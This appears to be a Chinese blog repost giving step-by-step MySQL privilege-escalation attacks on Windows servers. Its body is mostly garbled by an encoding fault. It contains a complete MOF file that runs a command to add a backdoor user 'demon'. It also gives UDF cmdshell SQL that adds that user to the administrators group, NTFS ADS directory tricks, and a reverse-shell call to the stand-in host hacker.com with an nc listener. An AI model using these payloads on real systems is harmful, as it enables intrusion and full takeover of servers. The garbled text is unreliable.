mysql 提权方法_mysql常用的提权方法
一,利用MOF提權(quán)
Windows 管理規(guī)范 (WMI) 提供了以下三種方法編譯到 WMI 存儲(chǔ)庫(kù)的托管對(duì)象格式 (MOF) 文件:
方法 1: 運(yùn)行 MOF 文件指定為命令行參數(shù)將 Mofcomp.exe 文件。
方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。
方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夾的 MOF 文件。
Microsoft 建議您到存儲(chǔ)庫(kù)編譯 MOF 文件使用前兩種方法。也就是運(yùn)行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。
第三種方法僅為向后兼容性與早期版本的 WMI 提供,并因?yàn)榇斯δ芸赡懿粫?huì)提供在將來的版本后,不應(yīng)使用。
操作步驟
1,通過webshell上傳 nullevt.mof 文件到可寫目錄,nullevt.mof 代碼如下:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user demon 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
2,通過SQL語句 讀取nullevt.mof,然后導(dǎo)出到 mof 目錄下
select load_file('C:/recycler/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
二,利用UDF提權(quán)
udf提權(quán)這是最常見的提權(quán)方式了,但是往往在執(zhí)行過程中老是遇到"Can't open shared library"的情況,這里我們可以利用NTFS ADS流來解決這個(gè)問題。
1、最常見的是直接使用udf.php此類的工具來執(zhí)行udf提權(quán),具體如下。
連接到mysql以后,先導(dǎo)出udf.dll到 c:\windows\system32目錄下。
2、創(chuàng)建相應(yīng)的函數(shù)并執(zhí)行命令,具體如下:
create function cmdshell returns string soname 'udf.dll';-- 創(chuàng)建函數(shù)
select cmdshell('net user demon 123456 /add');
select cmdshell('net localgroup administrators demon /add');
drop function cmdshell; -- 刪除函數(shù)
delete from mysql.func where name='cmdshell' -- 刪除函數(shù)
3、某些情況下,我們會(huì)遇到Can't open shared library的情況,這時(shí)就需要我們把udf.dll導(dǎo)出到lib\plugin目錄下才可以,
但是默認(rèn)情況下plugin不存在,怎么辦? 還好有大牛研究出了利用NTFS ADS流來創(chuàng)建文件夾的方法
select @@basedir; -- 查找到mysql的目錄
select 'It is dll' into dumpfile 'C:\\Program Files\\phpstudy\\MySQL\\lib::$INDEX_ALLOCATION'; -- 利用NTFS ADS創(chuàng)建lib目錄
select 'It is dll' into dumpfile 'C:\\Program Files\\phpstudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; -- 利用NTFS ADS創(chuàng)建plugin目錄
當(dāng)默認(rèn)udf導(dǎo)出失敗時(shí),可以嘗試用手動(dòng)方法導(dǎo)出udf進(jìn)行提權(quán),具體方法如下:
先上傳udf.dll,連接到mysql,再按下面步驟執(zhí)行sql語句。
create table zz(abc longblob);//注意列類型為longblob
insert into zz values(load_file('C:\\udf.dll')); //上傳的udf.dll路徑
select * from zz into dumpfile 'C://WINDOWS//system32//udf.dll'; //導(dǎo)入的目標(biāo)地址 mysql 5.0以上要導(dǎo)入到系統(tǒng)目錄
Create Function MyCmd returns string soname 'udf.dll'; //這里如果導(dǎo)出的路徑為C://WINDOWS//system32//udf2.dll' 可以將后面改成udf2.dll
select MyCmd (' net user ');
drop function MyCmd;
刪除udf.dll 的方法,先刪除生成的函數(shù)
Drop function MyCmd;
三,反彈 shell 提權(quán)
假如我們掃到了一個(gè)mysql的root弱密碼,并且可以外連,但是服務(wù)器上面的網(wǎng)站又無法Getshell,這時(shí)我們?cè)趺崔k呢?
1、利用mysql客戶端工具連接mysql服務(wù)器,然后執(zhí)行下面的操作。
mysql.exe -h target.com -uroot -p password
mysql> \. c:\mysql.txt
mysql> select backshell("hacker.com",444);
2、本地監(jiān)聽你反彈的端口
nc.exe -vlp 444
成功后,你將獲得一個(gè)system權(quán)限的cmdshell,其實(shí)這個(gè)也是利用的UDF提權(quán)。
總結(jié)
以上是生活随笔為你收集整理的mysql 提权方法_mysql常用的提权方法的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 现在好用的mysql客户端_还在用 Na
- 下一篇: d-s 多传感器信息融合 matlab实